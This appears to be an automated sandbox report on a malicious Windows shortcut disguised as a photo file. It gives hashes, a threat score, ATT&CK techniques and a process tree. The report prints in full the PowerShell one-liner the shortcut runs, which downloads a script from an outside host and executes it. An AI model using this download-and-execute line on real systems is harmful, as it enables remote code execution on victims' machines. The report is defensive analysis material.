89da8dba7377cc6f1fda0580129fc62215527e7c6249eb3a807114bfaf91f685

Analysis

max time kernel
299s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 16:08

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General

Target
IMG_20260917_073802.lnk
Size 2KB
Sample260919-tlfqzsshph
SHA256 89da8dba7377cc6f1fda0580129fc62215527e7c6249eb3a807114bfaf91f685
MD5 aeb453d0938fe8e638adf634e274e4d2
SHA1 e4df3cb77f2cbcc3f02062800b41562ef84eafd0
SHA512 09a5d79a817d65479f71df693b2728908806c54c0561ac19e43b6deaa114cea79b546b555480a2c068d03eb5eae159f8593eb0fd6458d951a9a7ee2189fbc328
TLSH
T11F517A5127F94708E2F64F3DBC7EA2519876B914ED12C7CD1250A05E68B0618E93AB3F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://szhengfa.com/?e=q

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4376	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4188	powershell.exe
4188	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 4188	4376	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260917_073802.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Add-Type -AssemblyName System.Net.Http;$componentSource='https://szhengfa.com/?e=q';$httpClient=New-Object System.Net.Http.HttpClient;$httpClient.DefaultRequestHeaders.UserAgent.ParseAdd('Mozilla/5.0 (Windows NT; WindowsPowerShell)');$scriptBody=$httpClient.GetStringAsync($componentSource).GetAwaiter().GetResult();&([scriptblock]::Create($scriptBody))"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4188-2-0x00007FFD5DE4F000-0x00007FFD5DE50000-memory.dmp

Download

memory/4188-3-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-6-0x000002414EDE0000-0x000002414EE02000-memory.dmp

Download

memory/4188-7-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-8-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-9-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-10-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-11-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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memory/4188-13-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

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